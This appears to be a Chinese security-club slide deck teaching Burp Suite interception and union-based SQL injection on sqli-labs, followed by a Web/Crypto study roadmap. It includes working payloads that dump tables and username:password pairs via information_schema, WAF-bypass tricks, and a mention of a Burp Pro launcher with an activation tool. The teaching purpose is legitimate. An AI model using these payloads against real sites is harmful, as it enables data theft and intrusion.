安全社团课 · Burp 抓包 / SQL 联合注入 / Web · Crypto 路线
01/22
● 仅限授权靶场 / CTF / 本地环境 · 禁止未授权测试

Burp 抓包 · SQL 联合注入
与 Web / Crypto 学习路线

从「会用」到「说得清原理」—— Burp 抓包、SQL 联合注入、Web / Crypto 路线。

🛡 Burp 是中间人代理
📜 证书 是公钥的身份证
✉️ 包结构 起始行+头+空行+体
💉 联合注入 回显 + 列数一致
🗺 路线 Web / Crypto 地图
安全社团课 · 讲解演示 按 → 开始
Burp Suite

安装与配置

① 下启动器
自带 JRE 21
② 双击安装
7z 自解压
③ 下 Burp
启动器里下最新版
④ 激活专业版
按向导粘 license
⑤ 启动
可勾选汉化
🚀启动 Burp + 确认监听
Temporary project ← 临时项目 Use Burp defaults ← 默认配置 Start Burp Proxy → Proxy settings → Proxy Listeners ✅ 127.0.0.1:8080

127.0.0.1 = 你自己的电脑,8080 = 端口

🧩让浏览器走 Burp(SwitchyOmega)
情景模式名Burp
代理协议HTTP
代理服务器127.0.0.1
代理端口8080

切到 Burp 模式 → 开 Intercept on
→ 访问 http:// 网站就能抓到包

启动器launcher_v0.1_with_jre21.exe 自带 JRE 21、激活工具和汉化,不用自己装 Java。
Burp Suite

Burp 到底抓了什么

浏览器和服务器中间插一个 Burp,它就是中间人。点下面的开关看区别。

🌐 浏览器
Chrome
17 03 03 00 a2 4f 8c 1e …(TLS 密文)
🛡 Burp Proxy
127.0.0.1:8080
TLS 隧道(Burp ↔ 服务器)
🗄 目标服务器
example.com
未安装 Burp CA 证书

HTTP 明文,Burp 直接就能看

HTTPS 信任 Burp CA 后,Burp 分别和两边建 TLS

Burp Suite

证书到底是什么

🪪 证书 = 身份证件,证明「我是这个网站」

✍️ CA 用私钥签名,浏览器用公钥验签

🛡 好处:防中间人、防重放攻击

根 CA
系统预装
中间 CA
根 CA 签名
网站证书
example.com
🌐 浏览器
逐级验签
🔑为什么能验签

打过 CTF 的 RSA 题就懂了:非对称加密
一把 公钥 + 一把 私钥
CA 用私钥签,浏览器用公钥验

域名公钥颁发者 CA有效期CA 签名
🔍浏览器只查三件事
1是不是受信任 CA 签的
2域名对不对
3有没有过期
Burp Suite

装 CA 证书:抓 HTTPS

😱 没配证书:抓到的是 TLS/SSL 加密的密文,看不懂,浏览器还报警

📥 把 Burp CA 装进受信任根证书

😎 装完:看到的就是明文,也就是正常状态

① 访问
http://burpsuite
② 下载
cacert.der
③ 双击安装
安装证书…
④ 放对位置
受信任的根证书颁发机构
⑤ 测试
https 不报警
📁③④ 到底装到哪

双击 cacert.der → 安装证书
存储位置:当前用户 / 本地计算机
【关键】选「将所有的证书都放入下列存储」
→ 浏览 → 受信任的根证书颁发机构
→ 下一步 → 完成 → 安全警告选「是」

🦊Firefox 要单独装一次

Firefox 有独立证书系统,不认系统里那份
设置 → 搜「证书」→ 查看证书
→ 证书颁发机构 → 导入 cacert.der
【关键】勾选「信任由此证书颁发机构来标识网站」

为什么 HTTP 不用配HTTP 本来就是明文,不配证书也能抓;HTTPS 走了 TLS/SSL 加密,必须配证书才能看到明文。
Burp Suite

抓到的包是什么:五层封装

🧅五层模型(教学常用)
层加上什么变成
应用层生成 HTTP 报文HTTP 报文 ← Burp 看这层
传输层+ TCP 头TCP 段
网络层+ IP 头IP 数据报 / IP 包
数据链路层+ 帧头数据帧
物理层变成电信号比特流
📦一层套一层
数据帧
IP 数据报
TCP 段
HTTP 报文

Wireshark 看的是整颗洋葱;
Burp 只剥到应用层。

结论我们说的「抓包」,抓的就是应用层的 HTTP 报文;其他层知道有这回事就行。
Burp Suite

GET 与 POST

🔵GET:参数在 URL 里
GET /search?q=sql&page=1 HTTP/1.1 Host: example.com (空行,之后没有请求体)

· 参数在 URL 里 —— 就是浏览器地址栏那一串
· 没有请求体
· 会留在服务器日志和浏览器记录里,不安全

🟣POST:参数在请求体里
POST /login.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=admin&password=123

· 参数在请求体里(空行之后)
· 登录、提交表单常用 POST
· 不显示在 URL 上

对注入GET 注入改 URL 参数,POST 注入改 请求体 —— 位置不同,套路一样。
Burp Suite

HTTP 报文解剖:鼠标划过每一行

GET /Less-1/?id=1 HTTP/1.1Host: 靶场地址User-Agent: Mozilla/5.0Cookie: PHPSESSID=abc123
↑ GET:空行之后结束,没有请求体
POST /login.php HTTP/1.1Host: 靶场地址Content-Type: application/x-www-form-urlencodedCookie: PHPSESSID=abc123username=admin&password=123
↑ POST:空行之后才是请求体
HTTP/1.1 200 OKServer: nginxContent-Type: text/html; charset=utf-8Set-Cookie: PHPSESSID=abc123<html><body>...</body></html>
↑ 响应:状态行 + 头 + 空行 + 体
200 一切正常 3xx 重定向 · 304 = 资源没变,用缓存 4xx 客户端错 · 403 无权限 / 404 无资源 5xx 服务器内部错 —— 与你无关
Burp Suite

常用模块与操作流程

Proxy 抓  →  Repeater 改  →  Intruder 爆

🕸Proxy

抓包。拦截 · Forward · Drop · HTTP history

👉 看「发了什么」

🔁Repeater

改包重放。改一下、点一下、再发一次

👉 试各种 payload

💥Intruder

自动化爆破。参数标 §1§,塞字典批量跑

👉 批量试

① 开浏览器
访问靶场
② 找请求
HTTP history
③ Ctrl+R
送 Repeater
④ 改 id
逐步试 payload
⑤ 拿数据
写 WP
快捷键Ctrl+R 送 Repeater · Ctrl+I 送 Intruder · URL 里 %27='、%23=#、+=空格
Database

数据库基础:库、表、列、行

库 database
security
表 table
users
列 column
id / username / password
行 row
一条记录
🗄users 表长这样
idusernamepassword
1adminadmin888
2DumbDumb
3AngelinaI-kill-you

列:竖着看,每一列是一个字段
行:横着看,每一行是一条记录

📚四个概念
库数据仓库,叫 security
表存一类东西,users 存用户
列字段:id / username / password
行一条记录:admin / admin888

CTF Web 题 90% 是 MySQL

一句话SQL 就是操作「库 / 表 / 列 / 行」的语言;注入,就是让它多执行你没打算写的那半句。
SQL Injection

SQL 注入原理:拼接实验台

用户输入被拼进 SQL,就被当成 代码 执行了 —— 下面自己动手改改看。

↑ 随便改,看拼接结果
服务器实际执行的 SQL:
数据(我输入的值) 代码(越界执行) 注释掉原语句
靶场页面实际返回:
ResponseHTTP/1.1 200

        
SQL Injection

information_schema:MySQL 的元数据库

🗂是什么

MySQL 5.0+ 自带的元数据库
存的全是「结构信息」:
有哪些库 · 有哪些表 · 有哪些字段

5.0 以下没这个库 —— 只能靠猜表名和字段名

📋tables 表
table_schema所属数据库名
table_name表名
table_typeBASE TABLE / VIEW
📋columns 表
table_schema所属数据库名
table_name所属表名
column_name字段名
data_type字段数据类型
-- ① 所有数据库名 SELECT schema_name FROM information_schema.schemata; -- ② security 库的所有表名 SELECT table_name FROM information_schema.tables WHERE table_schema='security'; -- ③ users 表的所有字段名 SELECT column_name FROM information_schema.columns WHERE table_name='users'; -- ④ 更精确:库 + 表 都限定 SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users';
和注入的关系联合注入里的「爆表名」就是查 information_schema.tables,「爆字段名」就是查 .columns —— 换成 group_concat 塞进回显位就行。
SQL Injection

字符型 vs 数字型

🔤看源码就能分
字符型 Less-1数字型 Less-2
源码id='[输入]'id=[输入]
两边有引号✅ 有❌ 没有
要闭合吗✅ 要❌ 不用
要注释吗✅ 要❌ 不用
典型 payload1' --+1 and 1=1
口诀变量两边有引号 → 字符型,没引号 → 数字型
🧪三种判断法
① 加单引号(最常用) ?id=1 正常 ?id=1' 报错 ?id=1' --+ 恢复正常 → 字符型 ✔ ② and 逻辑判断 ?id=1' and 1=1 --+ 正常 ?id=1' and 1=2 --+ 异常 → 字符型 ✔ ③ 数学运算(最巧妙) ?id=2-1 数字型 → 算出 1,显示 id=1 字符型 → 当字符串,显示 id=2
靶场Less-1 字符型、Less-2 数字型 —— 类型判错,后面全错。
SQL Injection

联合注入原理

1页面有回显

结果能显示在页面上

2列数一致

前后 SELECT 列数相同

3知道库表列名

或能查 information_schema

4有读权限

能读元数据库

① 查第一部分
原查询
② 查第二部分
union select
③ 放入临时表
结果合并
④ 去重
UNION 默认去重
⑤ 最终查询块
ORDER BY / LIMIT
⑥ 返回客户端
结果集
1列名看第一个 SELECT
UNION SELECT 1,database(),version() → 列名还是 id,username,password
2列数必须一致
SELECT * FROM users UNION SELECT * FROM ceshi → 两张表列数不同,报错: different number of columns
3类型要兼容
INT ↔ INT VARCHAR ↔ VARCHAR 不匹配 → 报错 / 变 0
LIMIT 0,1 是什么原句结尾的 LIMIT 0,1 = 从第 0 条开始只取 1 条。它也被 --+ 一起注释掉了 —— 所以 union 拼出来的那行才显示得出来;没注释掉的话只返回第一行,union 的数据就被挤掉了。
SQL Injection

六步流程 + 核心 payload

① 判断闭合
' " ) '))
② 判断注释
--+   #   -- -
③ 探字段数
order by 1,2,3…
asc 升序 / desc 降序
④ 找显示位
union select 1,2,3
⑤ 爆库表字段
information_schema
⑥ 爆数据
group_concat
-- ① 爆库名 + 版本 ?id=-1' union select 1,database(),version() --+ -- ② 爆表名 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ -- ③ 爆字段名 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ -- ④ 爆数据(':' 或 0x3a 是分隔符;id=-1 让原查询无结果) ?id=-1' union select 1,2,group_concat(username,':',password) from users --+

❌ 常见错误:union select 1,group_concat(table_name) from information_schema.tables where table_schema='challenge',3 #
→ 报错 near '3#'' at line 1:,3 写到了 FROM 后面!逗号必须在 select 和 from 之间 ✅ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenge' #

SQL Injection

实战模拟器:在 Repeater 里一步步打进去

点上面的步骤按钮,左边是请求、右边是靶场返回(教学模拟)。重点是每一步"看什么、得出什么结论"。

▸ Request · RepeaterRaw

    
🎯 列数探测专用 (不确定列数时先点这里)
▸ Response · 靶场页面Render

      
SQL Injection

被过滤了  /  没回显

🛡被过滤了怎么绕
被过滤绕法
空格/**/ → union/**/select
union select大小写 UnIoN SeLeCt / 双写
注释符换 #、-- -
逗号join / substr 逐字符
关键字编码 / 大小写 / 双写 / 拆注释

本质:WAF 看字符串,数据库认语法

🔇没回显,换这五种
报错注入报错信息里带出数据
布尔盲注只看真 / 假,逐字猜
时间盲注靠 sleep() 延时判断
堆叠注入分号后再写一条语句
带外注入DNS / HTTP 把数据带出去

联合注入只是 SQL 注入的入门类型

SQL Injection

昔涟4:把它当案例,不是当题

🔎怎么做

抓包,找 ?id=1
1' → 报错
1' --+ → 正常 ✔
order by → 列数 3
union select → 爆完

📝WP 写八段

题目信息 · 漏洞判断
闭合判断 · 列数判断
显示位 · 爆库表列数据
完整 payload
修复建议(必写)

🧬变式扩展

--+ 被过滤 → #
空格被过滤 → /**/
只回显一列 → group_concat
information_schema 被禁 → 盲注

不是只拿 flag,而是学一套 流程。

Roadmap

🗺学习路线

🌐 Web
基础
HTTP · Linux · Python
Burp · F12 · 编码
漏洞
SQL · XSS · CSRF
SSRF · 上传 · 命令执行
工具
Burp · sqlmap
dirsearch · nmap
靶场
DVWA · sqli-labs
Pikachu · CTFHub
进阶
代码审计 · 内网
云安全
🔐 Crypto
编码 / 古典
Base · 摩斯 · 凯撒
栅栏 · 维吉尼亚
数学
模运算 · 数论
有限域 · 椭圆曲线
现代密码
AES · RSA · DH
ECC · 哈希 · 签名
CTF 专题
RSA · AES · LCG
格 · 协议
工具
CyberChef · gmpy2
SageMath · RsaCtfTool
Crypto

🔡古典密码速览  +  自己动手试一下

🔁凯撒密码

移位密码,枚举 25 种位移就能出答案。演示:把 KHOOR 移 3 位 → HELLO。

🚧栅栏密码

换位密码,不换字母只换顺序,枚举栏数即可还原。

📊维吉尼亚密码

多表替换。看频率、猜密钥长度,是凯撒的进阶版。

📡摩斯  /  培根

摩斯:. - 加空格;培根:A/B 两种字符,5 位一组。

🔁凯撒移位(拖动试试)
位移
上行是明文表、下行是移位后的密文表,箭头表示一一对应;高亮的是你输入里用到的字母。
🔤Base64 编解码

特征识别:Base64 结尾常有 =,大小写字母 + 数字; Base32 只有大写字母和数字 2-7。
工具认不出时,先丢进 CyberChef 的 Magic 乱炖一遍。

Summary

✓总结 & 速查表

1  Burp = 中间人代理,抓 HTTP 包
2  证书 = 公钥身份证,装了才信任
3  包结构 = 起始行 + 头 + 空行 + 体
4  有引号 = 字符型,无引号 = 数字型
5  联合注入 = 有回显 + 列数一致
6  昔涟4 是案例,流程比 flag 重要

昔涟4 是案例,Burp 是操作台,
路线是地图,古典密码是兴趣入口。

📋速查表
项目关键点
Burp 抓包浏览器 → Burp → 服务器
证书公钥身份证,CA 签发
包结构 / 模块起始行+头+空行+体;Proxy 抓、Repeater 改、Intruder 爆
快捷键Ctrl+R / Ctrl+I
注入类型有引号 = 字符型,无引号 = 数字型
联合注入闭合 → order by → union → 显示位 → 爆库表列
核心 payload?id=-1' union select 1,database(),version() --+
注释 / 分隔--+ #(%23) -- -;0x3a 或 ':'

⚠️ 仅用于授权靶场 / CTF / 本地环境

← → 翻页  ·  空格下一页  ·  滚轮 / 点击左右两侧  ·  Home 回封面